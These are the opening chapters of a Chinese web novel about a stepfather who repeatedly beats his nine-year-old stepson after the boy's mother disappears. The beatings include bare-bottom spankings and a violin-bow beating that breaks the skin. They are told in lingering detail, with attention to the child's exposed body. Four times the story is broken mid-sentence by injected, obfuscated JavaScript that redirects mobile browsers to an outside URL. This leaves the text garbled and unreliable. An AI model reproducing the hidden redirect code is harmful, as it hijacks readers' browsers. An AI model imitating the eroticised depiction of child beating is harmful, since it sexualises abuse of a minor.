《高岭之花也要爸爸》 1. 第 1 章 邱蕊消失了三天，留下了一个孩子，无论如何联系不上。 “尤董，现在不是为这个烦心的时候，这个项目再谈不下来，可就要吹了。”年轻的秘书焦急道。 消失的邱蕊是尤朗的妻子，结婚不到两年，一直当阔太太，不上班不做家务，每天睡到自然醒，吃了饭就约别的太太逛街喝茶打麻将，也不知道私底下攒了多少钱，结果一朝消失，除了人不见，她自己的银行卡、存折和贵重首饰也找不着了。 尤朗眉间阴郁，为这事烦了三天，可是邱蕊的电话成了空号，所有重要的证件都不在，打给那些平日与她交好的太太，一个个都说不知道，他竟然没有任何办法找到邱蕊。 “尤董，这几天的会都推了多少次了，您再不出面，咱们前几个月可就白忙活了！”秘书天天来催，尤朗天天不说话。 沉默许久，尤朗才咬牙切齿道：“我早该知道，她是个水性杨花的女人！” 秘书心里疯狂催促，却不敢说出来，毕竟董事长的老婆跑了这种枪口，最好别撞。 也许是洞穿了秘书的想法，也许是知道自己好几天不出现在公司实在不像话，尤朗总算站起身，拿了西装外套：“算了，先不管她，走吧。” “好。”秘书应道，有些不易察觉的欣喜。 两人正要走，身后却忽然传来点声响，尤朗回头望去，只见楼梯上站一个七八岁的小孩，白白净净，大眼睛扑闪扑闪，双唇几乎没有血色。 这就是邱蕊留下的小孩，两年前，邱蕊带着这个小孩嫁给尤朗，但现在，她没有带着小孩离开。 哼，自己卷钱跑了，还留一个孩子给他养，真是打的一手好算盘。 尤朗看见那张与邱蕊极其相似的脸，一阵厌恶涌上心头，不悦道：“滚去上学。”说着便率先出了家门。 小孩没有动，只是静静地站在楼梯上，光着脚，双手攀着栏杆，在听到那句“滚去上学”时，两手不自觉用力，连指尖都有些发白。 他知道妈妈走了，也知道妈妈一走，那一声爸爸就叫不成了。 他想起之前看电视时候学的一句话，名不正，言不顺。 小孩看着尤朗消失在视线当中，站了许久，终于默默转身，一步一步上了楼。 “邱少爷，上学时间到了。”司机在楼下喊。 小孩穿好了校服和皮鞋，背上书包下楼。其实司机以前是管他叫少爷的，但是这两天突然就改口叫“邱少爷”了。不止司机，还有做饭的阿姨，打扫卫生的阿姨，嘴里那一声“少爷”都变成了“邱少爷”，也许是为了提醒他，他是邱蕊带来的孩子，和那位尤董事长并没有什么关系。 小孩从小就跟着妈妈姓，叫邱嘉楠，亲生爸爸是谁，他不知道。他只知道妈妈是个漂亮的女人，爱打扮，总有带着他东奔西跑，这里住几天，那里住几天，有时候会出现一些对他很好的叔叔，过几天又换成另一个叔叔，直到两年前尤朗出现。 尤朗很帅，也有钱，不惑上下的年纪，其实比妈妈大挺多的，但是妈妈没有介意。他记得妈妈和尤朗见了几次，有一天就跟自己说，要有一个家了。 尤朗对于小孩来说，是光一样的存在。有了尤朗，他才住进了大房子里，再没有了过去的颠沛流离，也终于喊出了人生中第一声爸爸，有了对家对爱的理解。 可是这一切，终将不复存在。 邱嘉楠坐在汽车后座，眼眶酸胀。 环岛奇森。 N市的私立小学，价格昂贵。那时候N市的房价才4000一平，但是邱嘉楠一个学期的学费就是五万多，也许他要庆幸妈妈是在新学期开学以后才走的，至少让他上完这一个学期。 环岛奇森依山傍水而建，实行的是半西式的教育，小班制，一个班才15个学生，老师可以兼顾到每一个孩子，音乐课不是唱唱歌就完，而是学乐器学美声，体育课也不是跑跑跳跳就结束，夏天学马术和游泳，冬天练滑冰，是很多小孩一辈子都接触不到的资源。 邱嘉楠一年级下半学期到环岛奇森的第一天就明白，尤朗对他的好，绝不是过去那些叔叔拿着糖逗一逗的轻浮。 可是一年半就这样过去了，现在三年级了，他的生命里，就要永远地失去尤朗了。 邱嘉楠说不清那种情绪是伤心还是什么，一整天心不在焉，同学在他耳边喊了很多声也听不见。 “邱嘉楠！”小女生实在受不了了，揪着男孩子的耳朵，“要上体育课了，快一点，老师说十月就不能骑马了！” 邱嘉楠终于回过神来，木木地跟着去穿防护马甲了。 侧边的带子他总是系不好，要女孩子帮忙，邱嘉楠小声问：“颜丹琳，如果小朋友没有爸爸妈妈，会怎么办？” 被叫做颜丹琳的女孩子用力绑紧带子，递给他一顶头盔：“应该是去孤儿院吧，还是福利院，就是上次儿童节我们去的那种，老师说那些就是没有爸爸妈妈的小孩。” 邱嘉楠有印象，上次儿童节，学校组织他们去孤儿院看望那里的小朋友，还送了好多文具和零食。那些孤儿穿着旧旧的衣服，好多都面黄肌瘦，没有精神，即使两群孩子混在一起，也能一眼认出哪个是环岛奇森的。 “是不是去了孤儿院就不能上学了？”邱嘉楠跟着颜丹琳走向马场，有些同学已经在教练的帮助下上了马，正左右拉着缰绳，学习控制马前进的方向。 “应该吧，你问这个干嘛？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581241|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没，没什么。”邱嘉楠心虚地躲开颜丹琳的视线，赶紧上马去了。 邱嘉楠跟别的小朋友不同，他患有先天性贫血，加上心率不齐，格外容易心悸气短，有时候毫无预兆的，整个人就晕过去了。是以，学校的老师不敢让他进行太剧烈的运动，马术课上，就连胆小的女生都可以骑马小跑了，但邱嘉楠永远都是控着马慢慢走。 邱嘉楠在马背上轻晃着，实在很难想象自己去孤儿院，就算他曾经经历过颠沛流离，感受过吃了上顿没下顿的恐慌，可是到底也走过了有尤朗的两年。 “Had I not seen the Sun，I could have borne the shade，But Light a newer Wilderness，My Wilderness has made.” 外教老师上课时候念过的句子，他印象很深刻，也许是预见了自己终将失去生命中所有的光亮吧。 可是，无论如何，要让一个九岁的小孩接受这样的人生，都太艰难，也太残忍了。 邱嘉楠连续一个星期没有见到尤朗，虽说还是照旧上学回家，但心中的不安却在持续放大。终于有一天放学，他没有等司机，直接从学校里跑了出去。 “小朋友，你找谁？”明亮的写字楼里，前台的小姑娘叫住邱嘉楠。 邱嘉楠双手抓着书包背带：“我要找，尤朗。” 尤朗，这是······小姑娘刚来不久，知道尤朗是董事长，却不知道董事长有一个儿子，不敢随便放人进去：“小朋友，你坐在这里等一下，我帮你打电话进去问，你这样进去，领导会骂我的。” 邱嘉楠当然不愿意别人因为他而被骂，点点头，乖乖坐到一旁的沙发去了。 前台小姑娘打电话给上级，那边只说尤董在开会，走不开，小姑娘只好如实转告小孩。可是邱嘉楠不吵也不闹，就安安静静地坐在那里。 尤朗今日是谈新拍下的一块地的施工方案，从上午一直谈到下午，直到傍晚时分对方提出结束才停止。这一次会谈还算顺利，稍微拂去了尤朗最近的阴霾。原本晚上应该请吃饭的，但是对方没空，尤朗便一直将人送到了一楼，还在前台握手道别时，他便一眼看见了坐在沙发角落里的小孩。 邱嘉楠也一眼就从人群中认出了尤朗，尽管大人们都穿着看上去没有什么差别的西装，但是只有尤朗身上有光。 尤朗笑着送走合作伙伴，脸立时冷了下来，目光尖锐地望向小孩：“你来做什么？” 邱嘉楠慢慢起身走过去，不说话。这简直是在给尤朗煽火，高挑严肃的男人抓着小孩的衣领，将人拖进了电梯。 2. 第 2 章 校服领带完全被扯松了，邱嘉楠站在电梯里，对着镜子偷偷整理了一下。他眼中的尤朗始终干净整洁，西装一丝不苟，他要学尤朗的。 只是尤朗根本没心情在意小孩是否整洁，上了十六楼，便拽着孩子一路往办公室去了。“砰”一声关上门，尤朗冷脸问：“你来做什么？” 想看看你，很多天没有见到你，心里不安。可是邱嘉楠一句话都没有说，只是站着。 尤朗坐在沙发上，喝问：“你聋了还是哑了？” 邱嘉楠垂着头，并不应答。 尤朗现在看不得这张脸，一看就一肚子火。一个多星期过去了，邱蕊仍然没有任何消息，他报了警，可最后查出的只是邱蕊主动离开，并未遭遇任何意外，加上邱蕊并没有动用公司任何财产，带走的都是这两年攒下来的私房钱，二人夫妻关系还在那里，只能定义为家庭内部问题。 正生气呢，手机接到了秘书章信的电话：“喂？” “尤董，”章信很焦急，“司机说没有接到邱少爷，家里的阿姨也说没有回家，但是老师又说他已经离开学校了，现在找不到人！” 章信上午就被尤朗派出去了，因此不知道邱嘉楠到了公司。尤朗闻言，狠狠瞪了一眼小孩，沉声道：“他在我这里。” “那就好，尤董，没有其他事了。” 尤朗挂了电话，冷声问：“偷跑出来？” 在邱嘉楠的印象中，尤朗很少这么凶，尽管很忙，但他会偶尔把自己抱在腿上看一会电视，也会拉着自己的手去散步，可是这一切，都是因为有妈妈。妈妈走了，所有的温情就像清晨的雾一样，散得干干净净。 尤朗再受不了小孩子不声不响，大手在小孩上臂上一抓，将孩子扯了过来，三两下摘了书包，把人按在自己大腿上，“啪”地给了他一巴掌。 好痛！邱嘉楠从小到大没有挨过打，妈妈虽然不爱他，但也只是骂他几句，不会动手打他。至于过去两年，尤朗对他，虽说不是十分的耐心细致，但至少是和和气气，连重话都没有说过一句，更不要说巴掌了。 邱嘉楠的泪水一下涌了出来，接着他感到身后一凉，似乎是裤子被脱掉了，立刻伸手捂住。 “放开！” 不放，捂得更死了。 尤朗一把扣住孩子两边手腕，顺势按在孩子背上，令小孩动弹不得，另一手则重重朝着屁股挥了下去！ “啊！”忍不住叫出了声，眼泪也随之而落。白皙的小屁股上绯红的巴掌印昭示着尤朗的怒气。可尤朗犹不解气，接二连三地挥下巴掌，不过五六下就将小孩打得嚎啕大哭。 小孩皮肤嫩，受不住这等疼痛，尤朗也打得掌心发烫，怕小孩的眼泪鼻涕沾到自己，便将人放了下来，把茶几上的纸巾盒往他面前重重一放。 邱嘉楠抽噎着提上裤子，在尤朗没有温度的注视下擦了眼泪鼻涕，又听尤朗道：“以后不许过来。” 邱嘉楠一怔，随后低下了头去。 尤朗懒得理这锯嘴葫芦，给章信打了电话：“让司机到公司楼下接他。” 在尤朗看不见的地方，邱嘉楠眼神一暗，让司机来接，而且是接他一个，那就意味着，他跟尤朗的时间也就这么一点。 而且这么一点时间里，他居然还挨了一顿打。 等待司机到来的半个小时里，尤朗没有跟孩子说一句话，自顾自到了办公桌后敲打键盘处理文件，而邱嘉楠就一直沉默着站在那里，不敢坐，也不敢动。 其实他是盼望着尤朗说话的时候能自称一句爸爸，这样他就可以试探性地叫一声，可是尤朗的话语里，始终没有这两个字。 半个小时后，尤朗的手机再次响起来，说了声好之后，就冲小孩道：“司机在楼下，自己下去。” 邱嘉楠不敢问那你呢，也不敢说我想和你一起，只默默背起书包，缓缓走出了办公室。 走路的时候会有异样的牵扯感，想起尤朗的巴掌，又重又急，仿佛想把他打死似的。邱嘉楠按下电梯，心酸难耐，不知道下次什么时候能见到尤朗。 他自己叫不到，但总有人能叫到，邱嘉楠为此罗列了种种方案。第一种情况是他不上学不吃饭，司机和阿姨就会打电话给章信或者尤朗，但是尤朗很可能不会出面；第二种情况是他到同学家去，然后说回不了家，同学的爸妈就会给尤朗打电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581242|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但是尤朗估计会让司机去接；第三种情况是他在学校出事，老师就会打电话给尤朗。 邱嘉楠问颜丹琳，什么情况下，老师会把家长叫到学校来。 “有很多办法啊，但是你可能会被骂哦。”颜丹琳歪着头道。 “没关系。” 颜丹琳道：“今天下午要练小提琴，你摔几把琴就好了。” 尤朗下午正开会，听人做采购方案的汇报，桌面上的手机忽然亮了，不大的方形屏幕上显示着老师的名字。尤朗招招手，把章信招过来，低声道：“老师的电话，你处理一下，还有，以后老师的电话不要打到我这里。” “是，尤董。”章信低声应答，拿着尤朗的手机走到了外面。 电话打了十来分钟，章信挂掉之后，又等了将近一个小时，才看见尤朗从会议室出来，赶紧迎上去道：“尤董，学校老师说邱少爷在学校摔了四把小提琴，要您去谈赔偿和教育的问题。” 尤朗边往办公室走边蹙眉，怎么这个小子这么会惹事？！他记得以前邱蕊还在的时候，这个小孩还挺乖的，怎么他妈一跑，他也跟着放飞了？ “你去。” “尤董，学校要求家长到场，我不是家长啊。”章信为难道。 尤朗瞥了他一眼，眉宇间半分无奈半分烦躁，最终转身下楼去了。 邱嘉楠等了很久才等到尤朗。男人高大而熟悉的身影出现在视野里的一瞬间，小孩眼里现出不尽的欣喜，却又意识过来这有多么不合适，立刻整理好了表情。等尤朗走进时，小孩已是一副乖巧知错的模样。 尤朗忍不住狠狠瞪了小孩一眼，随后跟老师问好，迅速交谈起来。 又是赔偿又是道歉，还保证要好好教育小孩，尤朗始终保持着得体的笑容，没有一点厌恶孩子的意思。邱嘉楠小心翼翼地观察着尤朗的表情，心想，这要是真的该多好。 尤朗如果真的是他爸爸，该多好。 尤朗根本没有在意小孩的心思，只想着把这一肚子气给出了。他看向那几把被摔过的小提琴，笑道：“老师如果不介意的话，送我一支琴弓做纪念吧，也好时时提醒孩子不要犯错。” 3. 第 3 章 邱嘉楠坐在尤朗汽车的后座，旁边是那支尤朗从老师那里要来的小提琴琴弓，他有强烈的预感，他一定会被尤朗拿这支琴弓打。 想到这里，琴弓仿佛立刻散发出灼人的温度，邱嘉楠浑身一颤，把目光移向了窗外。 果不其然，一到家，尤朗就握着那支琴弓，冷声问：“哪只手摔的琴？伸出来！” 邱嘉楠还背着书包，尤朗没让他放下，他不敢乱动，只得按照指示，伸出了两只手去，掌心平摊，向上。 琴弓在小孩眼前划下一道虚影，随后“啪”一声，重重地砸在皮薄无肉的手心上。 “啊！”邱嘉楠差点咬掉舌头，猛然弯下了腰。跟上次巴掌打屁股那种灼热的痛感不一样，实木的弓杆像是敲在骨头里，带来的是生硬而不可阻挡的剧痛，从薄薄的表皮一直渗到骨头里，余韵悠长。 尤朗垂眸，看见小孩脸上的泪珠，但并没有心疼，面无表情地喝道：“伸好！” 邱嘉楠一听这声音就颤抖，拼了命克服内心的恐惧，再次把手摊平伸了出去。 方才那一下已经在两边手心留下了一道横亘在中间的红痕，微微有些肿起。 “啪！”又是一下，邱嘉楠依旧惨叫，疼得弯腰，但是最后还是要把双手献祭出去。 “敢摔琴就得敢挨打！四把琴，一把十下，不多吧？”尤朗说着，再次挥下琴弓。 邱嘉楠心想，自己有说不的机会吗？琴是他决定要摔的，蠢法子是自己要用的，当然挨打也得靠自己熬，可是，他不过是为了见尤朗一面。 他不知道，在妈妈走后，在他和尤朗没有任何血缘关系的情况下，他要如何再叫尤朗一声爸爸。 琴弓不紧不慢，每一次都等小孩自己疼完了伸出手去才落下，每一次都是十成十的力道，不过十来下，小孩手心就一片红肿发烫。 “痛！”邱嘉楠泪流满面，却不敢哭出声，连喊一声痛也是憋在喉咙里。 “这就痛了？”尤朗看着不过微微红肿的手，心想这还没用力呢，今天非得打烂这双手不可！ “啪！” “啊呃！”邱嘉楠撑不住，双手被打得往下一坠，只能咬牙再次把手送出去。 “啪！” ······ 一连打了二十几下，邱嘉楠都要哭断气了，两手手心全都深红泛紫，迫不得已求饶道：“不要打了，我知道错了，不要，不要打手，啊！！！” 小孩这一声叫得凄厉，尤朗握着琴弓的手一颤，没有接着挥下去。 尤朗没有自己的孩子，当然他也没打算要孩子，邱蕊把这小孩带来的时候，他想，花点钱养就养吧，一直没有亏待过邱嘉楠。邱嘉楠很乖，不会像一般小孩那样哭闹，省了他烦心。可是，就算他再不喜欢小孩，也不得不承认，自己此时的行为，简直可以称得上虐待。 “还有十二下，伸手挨完，不然就脱裤子打屁股，打屁股就打二十四下。”尤朗语气仍然冷硬，但也打定主意，剩下的就不要打太重了。 十二和二十四，只要会算数，都知道要选少的，可是邱嘉楠的手真的不能碰了，他感觉现在摸一下都不行，更何况再挨十二下。 至于屁股，虽然上回被打，知道疼，可和现在手心的疼根本不是一个量级，邱嘉楠犹豫一会，啜泣道：“不，不要打手。” 那就是选屁股了，尤朗指指沙发：“裤子脱了，过去趴着。” 邱嘉楠瞬间有种劫后余生的感觉，至少他的手不用再受苦了。他慢慢走到沙发边，小心翼翼地放下书包，尽量不让背带蹭到自己的手，脱裤子的时候则依靠指尖，但不免牵扯到手心的疼，一连串眼泪“扑簌”而来。 尤朗没有催促，好几分钟过去，小孩才完成动作，随后可怜兮兮地趴伏在柔软的沙发上。 上次在公司办公室，那一顿巴掌来得及去得快，尤朗尚未看清楚小孩的屁股什么样子，现在一看，小孩虽然比同龄人瘦一点，可屁股却很饱满，皮肤白皙干净，这回安安静静的，等待着剩余的责罚。 “啪！”尤朗比方才减了两分力，琴弓落在小孩臀峰处，先是一道死白，接着缓缓泛出些粉红来。大概是颜色太浅了，尤朗没了之前的负罪感，再次挥起琴弓落下责罚。 邱嘉楠趴在沙发上，虽然相比手心，屁股上的疼痛尚可忍受，可是无论是哪里挨打，都只能强化一个认知，即尤朗并不爱他。 尤朗对他没有任何感情。 尤朗不过是他的后爸，妈妈一走，这个后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581243|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸也不成立了。 邱嘉楠的眼泪不断涌出，掉在沙发上，渗进厚实的布料里，留下一团团不规则的水渍，而身后的责打还在继续。随着数目的增加，疼痛也越来越难以忍受，琴弓每一次砸下来，都像是砸在他的后脑，不然为什么连头也痛了起来。 “啊！！”邱嘉楠忍不住扭了一下，立即招来了尤朗的呵斥：“动什么？再动就重来！” 重来，邱嘉楠都不知道自己能不能挨完剩余的数目，要是重来······也许尤朗真的很讨厌自己。邱嘉楠绝望又倔强地趴好，控制着自己不要动，过了一会儿，实木的弓杆照旧砸下来，没有一点放水。 臀峰上肉厚，打不坏，可是一连十几二十下下去，臀峰上油皮都破了，尤朗顿了顿，剩下几下往下移了些，“啪啪啪啪”，全打在了下半部分臀上。 邱嘉楠被叫起来的时候眼泪还掉个不停，上眼皮肿得跟没睡醒一样。尤朗冷眼看着，让小孩自己穿好裤子。 屁股疼着，手心肿着，穿裤子也是折磨人的事。不过邱嘉楠倒是要庆幸自己没有磨蹭，刚穿好裤子，阿姨就来叫了：“尤董，饭做好了，我先回去了，晚点另一个阿姨过来收拾。” “好，辛苦了，你先走吧。”尤朗回道。 不知道多久没和尤朗一起吃饭了，其实以前次数也不多，因为尤朗应酬很多，公司内部或者和合作单位，总是很多饭要吃很多酒要喝，只是那时候偶尔会有些盼望，至于现在，真的盼不到了。 原本应该格外珍惜这一晚的，可是邱嘉楠的手连筷子都拿不起，只能虚虚握着，垂头掉泪。 “不能吃就别吃！”尤朗不耐烦地呵斥。 邱嘉楠受了这一声呵斥，怯怯地放下筷子，站在餐桌旁，动也不敢动。 尤朗不管他，自顾自吃饭，吃完了便上楼处理工作去了。 邱嘉楠看着尤朗的背影，直到再也看不见，这才慢吞吞地走去，小心地背起书包，上楼回房。 两只手不能碰东西，只好两边手腕夹着门把开门，进了房间才赶紧开水龙头，用冷水冲一冲手，缓解一下疼痛。 “咕噜”，肚子叫了一下，邱嘉楠感觉手心没有挨打时那么疼了，从书桌的柜子上拿了一盒牛奶喝。 4. 第 4 章 时间转眼而过，深秋的风在城市上空飘飘荡荡，市中心的写字楼空调暖气开得很足。这会正是下午会议的茶歇时间，尤朗喝了点咖啡提神，一边回复手机短信一边分心听其他人闲聊。 “刚才楼下出车祸了。” “严重吗？” “也不是车祸吧，就是路边的电动车撞了个小孩，我看好多交警围那里，不过救护车没来，应该没有大事。” “谁家小孩在这里晃悠啊？大人不看着？” “谁知道呢？不过我看那小孩穿的是环岛奇森的校服，那个学校贵哦，之前我老公也说送我女儿去，我不答应。环岛奇森上一年，够上完六年N大附小了，又不出国，非得上那种学校干嘛？” “说的是。” 尤朗下意识地抬眼，看向聊天的两个女人，是建材公司那边来谈合作的，可是吸引他注意的不是人，是刚才提到的那个学校，环岛奇森。 尤朗心中莫名有些不安，正想叫章信，突然想起章信刚刚离开了公司，只得作罢。不过这点不安并未表现出来，茶歇时间过后，会议继续。 直到会议结束，尤朗才抽空看了手机里一堆等待回复的短信，把重要的消息回复之后，才翻了其他短信来看。其中有一条是章信发来的——尤董，邱少爷被电动车撞倒了，额头蹭破一点，在附近医院处理了一下，我直接送他回去，还是您来看看？ 尤朗眉头一皱，他的直觉果然是准确的，那个小孩竟然又跑到这里来，听不懂人话是不是？ ——开车到楼下，我也回去。 ——好的，尤董。 尤朗掐灭手机，回办公室放好文件，收拾东西，下楼去。 章信开的是尤朗平时上班那辆车，低调，不引人注目，放在车来车往的主干道上，很难被认出来。要不是尤朗自己天天开，也不会这么快就看到。 章信把车停在路边，尤朗自己打开后座的门坐进去。 邱嘉楠刚刚就知道尤朗要跟自己一起回家，心中欢欣雀跃，激动不已。本来他偷偷跑过来就是为了见尤朗一面，虽然被电动车撞了一下，但好歹是见到了。 可是尤朗并没有如邱嘉楠预想一般地关心他，只是冷眼看着，道：“我说过不许过来。” 邱嘉楠放在座椅上的手猛地蜷紧了，不知道要如何回答这个问题，或者说他知道，却不敢回答。 11月17日，邱嘉楠的生日。 在遇到尤朗之前，邱嘉楠从没过过生日。第一年认识尤朗的时候，他和妈妈准备结婚，特地为自己订了蛋糕准备了生日礼物；第二年，尤朗太忙了，没有回家，但还是让人送了蛋糕在家里。到了第三年，也就是现在，尤朗大概全然不记得这回事了。 邱嘉楠没有太多的心愿，只是他很久很久没有见到尤朗，他想见尤朗一面。 可是面对尤朗的质问，他没有办法回答。 邱嘉楠这段时间一直思考的问题是他与尤朗到底是什么关系，最后得到的答案是，相互知道名字的陌生人。 但是，他竟然渴望从这个陌生人身上得到一点爱和关怀，既虚妄，也矫情。 “你妈走了你哑巴了是吧？！”尤朗突然一声怒喝，吓了小孩一跳，就连前面开车的章信都忍不住开口：“尤董，邱少爷刚被撞了，估计受了点惊吓。” 但是尤朗没有说话，于是章信也知道自己多嘴了，再不言语。 邱嘉楠直勾勾地盯着尤朗，眼眶一点一点湿润了。 邱嘉楠遗传了妈妈那副好皮相，长得清秀干净，五官疏朗，不像一般好看的男孩子浓眉大眼的，他的眉毛要细一些，弯弯的，像女孩子的眉毛，小时候总有些大人问为什么这么小就修眉，妈妈总说，没有修。 那两弯眉毛给这个小孩平添了两份楚楚可怜，要是他的大眼睛一眨巴，眼里泛着泪，那可真是眉目含情。 如此可怜的小孩，现下左额上还贴着创可贴——那是刚刚蹭破了贴上的，这么眼巴巴地望着尤朗，尤朗却没有一点心疼，反倒烦躁不堪，一把抓了小孩放在自己膝上伏着，迅速扯下小孩的裤子，“啪”一声给了小屁股一巴掌。 尤朗手掌宽大，朝着屁股中间打，两边屁股都红了一点。邱嘉楠感觉到身后一阵痛，又立刻反应过来，章信还在前边坐着，于是立时挣扎起来。 岂料，尤朗右手死死按在小孩背上，小孩手脚挥动，可就是起不来。两脚胡乱踢着，闹得尤朗心烦意乱，又为自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581244|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己招来了第二章。 “啊！！”邱嘉楠的尖叫紧接着巴掌的责打声，手脚也挣扎得越发厉害。 “再动试试！”尤朗喝了一声。 邱嘉楠虽然满怀心酸，眼泪也不住在眼眶里盘旋，可是尤朗一说话，他就真不敢动了。 双腿放了下去，双手乖乖放在皮质座椅上，眼皮一耷拉就能看见尤朗西裤的侧边中缝，邱嘉楠不知此时是什么心情，如果尤朗是他爸爸，他愿意被尤朗痛打。 如果被尤朗打一顿能让他暂时产生这样的错觉，维持这可笑的幻想一两天，他也愿意。 尤朗不会知道这个小孩脑子里在想什么，见他不动了，便继续挥起巴掌“啪啪啪”地打了下去，两边臀瓣，左边一下右边一下，轮流着打，十几下过去，臀部红成一片。 前面的章信听到这声，忍不住瞟了一眼镜子，又立即躲闪了去，耳廓有些粉红。 而挨打的邱嘉楠一直咬牙死忍，知道尤朗不喜欢自己乱动，便干脆连声音都不出，也许这样尤朗会觉得自己乖一点吧。 小小的邱嘉楠尚且不知道自己这样的想法有多卑微，只是感到心酸难耐，一眨眼，眼泪“扑簌”而落。 尤朗还在不断落下巴掌，眼看着小孩白皙的屁股就要变成紫红色了，却突然感到自己的裤子仿佛湿了些，停下一看，是这小孩的眼泪。不止弄湿了裤子，还弄湿了座椅。 尤朗不悦地皱起眉，一抬脚：“滚起来！” 邱嘉楠怔愣片刻，随后缓缓起身，这才看见自己的眼泪弄湿了尤朗的西装裤，想道歉却又说不出口，一坐下，虽然是柔软的座椅，却还是火辣辣地疼，一点缓解都没有，眼泪被激得继续往下落，就跟梅雨天没停过的雨似的。 尤朗始终皱着眉头，扯了纸巾，往那团洇湿擦了几下，根本没用。 章信虽然开着车，却一直注意后头的动静，道：“邱少爷，擦擦吧。” 邱嘉楠呆了两秒，才抽了纸巾擦眼泪，擦完了纸巾也不知道丢哪，只好紧紧握在手心里。 “自己把裤子穿上。”尤朗不耐烦道。 屁股微微肿起，一蹭到裤子的布料又疼得人能掉泪。邱嘉楠强忍着眼泪，咬牙穿上了裤子。 5. 第 5 章 “我说了不许过来，以后不要让我在公司附近看到你。”尤朗下了最后通牒。 邱嘉楠没有点头，也没有说话，只是呆呆的，连同车里的空气一起沉默着。 尤朗深呼吸，扭头看向了窗外。 邱嘉楠始终知道，自己乱来一回，对他和尤朗的关系没有任何帮助，但是至少，他在九岁生日这天见到了尤朗。 那天晚上，邱嘉楠躺在床上，小声道：“生日快乐。” 此后，就真没有了见尤朗的机会。其实邱嘉楠是听话的，尤朗让他不要去公司找，他就真的不会去，他只希望尤朗对自己有一点点好感，一点点，就可以了。 天气一天天冷下去，邱嘉楠换上了最厚的那套校服，可小脸还是冻得通红，颜丹琳经常分一只手套给他戴，邱嘉楠问：“那这边呢？” “这边可以揣在兜里！”说着就拉着男孩的手往自己口袋里揣。 邱嘉楠不好意思地把手伸出来，不说话了。 尤朗那边，之前的项目准备年后动工，最近越来越忙，各种材料各种会议，几乎每天都晕头转向，以至于他都忘了，家里还住着一个小孩。 直到有一天，章信接到学校老师的电话，只说了声“要去学校一趟”就走了。 邱嘉楠在学校晕倒了，脸色苍白，老师掐着人中好久，小孩才醒过来。班里十几个小孩都吓到了，也不敢太靠近邱嘉楠，生怕他等会又出事。 章信赶到学校的时候，邱嘉楠躺在校医室里，发起了烧，得立刻送到医院去。章信想起公司那堆事，知道一去医院肯定没完没了，于是一边开车把人弄到医院，一边给另一个助理小吴打了电话，让他到医院去给邱嘉楠办手续，看护小孩。 章信跟小孩解释，公司的事太多了，我不能一直和你呆着，等会有个哥哥来陪你。 邱嘉楠晕晕乎乎的，回答道，好。 章信知道这小孩乖，从来不吵不闹，加上公司事情又多，把小孩交给小吴之后，就立刻去了公司，很快把这事抛到了脑后。 第二天下午，一场会议即将结束，章信提前离开了会议室，准备去安排晚上的应酬，结果一出会议室，就看见小吴在外头，这才猛然想起昨天的事。 “不是让你陪着邱少爷吗？怎么过来了？” 小吴是前段时间忙不过来才临时找来的助理，精明人，没多久功夫就把公司上上下下和尤董的事情摸得一清二楚，现在一听章信这么问，立刻机敏地察觉这就是自己表现的好机会，笑道：“章信哥，我这不是知道公司忙不过来吗？当然要回来帮忙！那小孩没有什么事，安安静静的，话都不说一句，再说了，”说到这，小吴压低了声音，“我还能不知道吗？那小孩又不是尤董亲生的，尤董都不放心上，我不能没眼色不是？” 章信三分疑惑三分震惊地皱起眉：“你什么意思？” “章信哥，您也不用操心我，我精着呢！” “说什么呢你们俩？”说话间，里头已经散会了，尤朗一出来，就见这俩人鬼鬼祟祟的。 章信上前一步道：“尤董，我们在说邱少爷的事。” “他又怎么了？”尤朗眉间颇为烦躁。小吴见了，不禁有些得意。 “昨天在学校晕倒了，送到了医院，本来让小吴看着的，但是公司太忙，我就叫他先回来帮忙。”章信答道。 小吴一听，这不对啊，这怎么成了他的功劳了？立刻就要开口反驳：“尤董，不是······” 章信手肘撞了他一下，打断了他的话。 